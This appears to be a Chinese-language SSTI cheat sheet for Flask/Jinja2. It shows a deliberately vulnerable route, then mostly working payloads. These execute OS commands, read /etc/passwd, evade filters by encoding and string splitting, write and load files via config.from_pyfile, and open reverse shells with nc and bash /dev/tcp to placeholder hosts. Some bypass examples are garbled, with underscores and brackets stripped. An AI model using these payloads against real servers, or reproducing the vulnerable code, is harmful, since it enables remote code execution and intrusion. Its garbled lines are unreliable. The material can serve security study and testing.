SSTI 概念
SSTI就是服务器端模板注入(Server-Side Template Injection)
SSTI原理
来看一段简单的代码
from flask import Flask
from flask import request, render_template_string, render_template
app = Flask(__name__)
@app.route('/login')
def ssti():
person = {
'name': 'hello',
'secret': '7d793037a0760186574b0282f2f435e7'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
template = '<h2>Hello %s!</h2>' % person['name']
return render_template_string(template, person=person)
if __name__ == "__main__":
app.run(debug=True)
这里render_template_string
函数在渲染模板的时候,使用了%s来替换字符串,其中Flask中使用了Jinja2作为模板渲染引擎,{{}} 作为变量包裹符,在渲染的时候,会把{{}}中的内容当作变量解析,所以1+1就会变成2.
传入:/login?name={{2*2}}
回显为4,其中的{{2*2}}就被解析了
payload,python3。(注意,python2和3的情况是不一样的)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }} //poppen的参数就是要执行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
print(().__class__.__bases__[0])//<class 'object'> 找到了基类object
print(''.__class__.__mro__[1]) //这个也是object
for i in enumerate(''.__class__.__mro__[1].__subclasses__()): print (i) #这里我们可以找到所有的子类,再注意,python2和python3不一样。
所以,前面那个payload就显得很重要,你不用一个个去查那个系统的子类有什么东西。
常见payload,有些地方不能复现。
''.__class__.__mro__[-1].__subclasses__()[40]("/etc/password").read() ->这里[40]指向file类,python2
print("".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read())
注意这里,[128]是不一定的,我们需要找到的是os._wrap_close,也就是这里应该是os._wrap_close.init.globals,后面的参数为函数+命令。
绕过
1、过滤[]等括号
getitem() 用来获取序号
"".class.mro[2]
"".class.mro.getitem(2)
2、过滤字符
{{().class.bases[0].subclasses()[59].init.globals.builtins'eval'}}
2.1 base64
{{().class.bases[0].subclasses()[59].init.globals.builtins'ZXZhbA=='.decode('base64')}} (可以看出单双引号内的都可以编码)
2.2 rot13
{{().class.bases[0].subclasses()[59].init.globals.builtins'riny'.decode('rot13')}}
2.3 16进制编码
{{().class.bases[0].subclasses()[59].init.globals.builtins'6576616C'.decode('hex')}}
2.4 拼接字符串(base64,hex,rot13也可以进行拼接)
过滤了(ls.import.eval.os)
{{().class.bases[0].subclasses()[59].init.globals.builtins'e'+'val'}}
拼接比较好用。
更多参考:https://www.cnblogs.com/zaqzzz/p/10263396.html
4、POC
更多参考:https://p0sec.net/index.php/archives/120/
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
下有eval,__import__等的全局函数,可以利用此来执行命令:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
反弹shell:
# 写入文件
payload 1 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}
payload 2 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}
# 利用 config.from_pyfile 加载文件
{{ config.from_pyfile('/tmp/shaobao') }}
# 反弹shell ; 提供两种方法;对应上的两个文件
payload1 ::
{{ config['CMD']('nc xxxxxx 5555 -e /bin/sh') }}
payload2 ::
{{ config['RUNCMD']('bash -i >& /dev/tcp/xxxx/5555 0>&1',shell=True) }}
参考:https://xz.aliyun.com/t/3679 https://www.dazhuanlan.com/2019/12/16/5df658e7d4e01/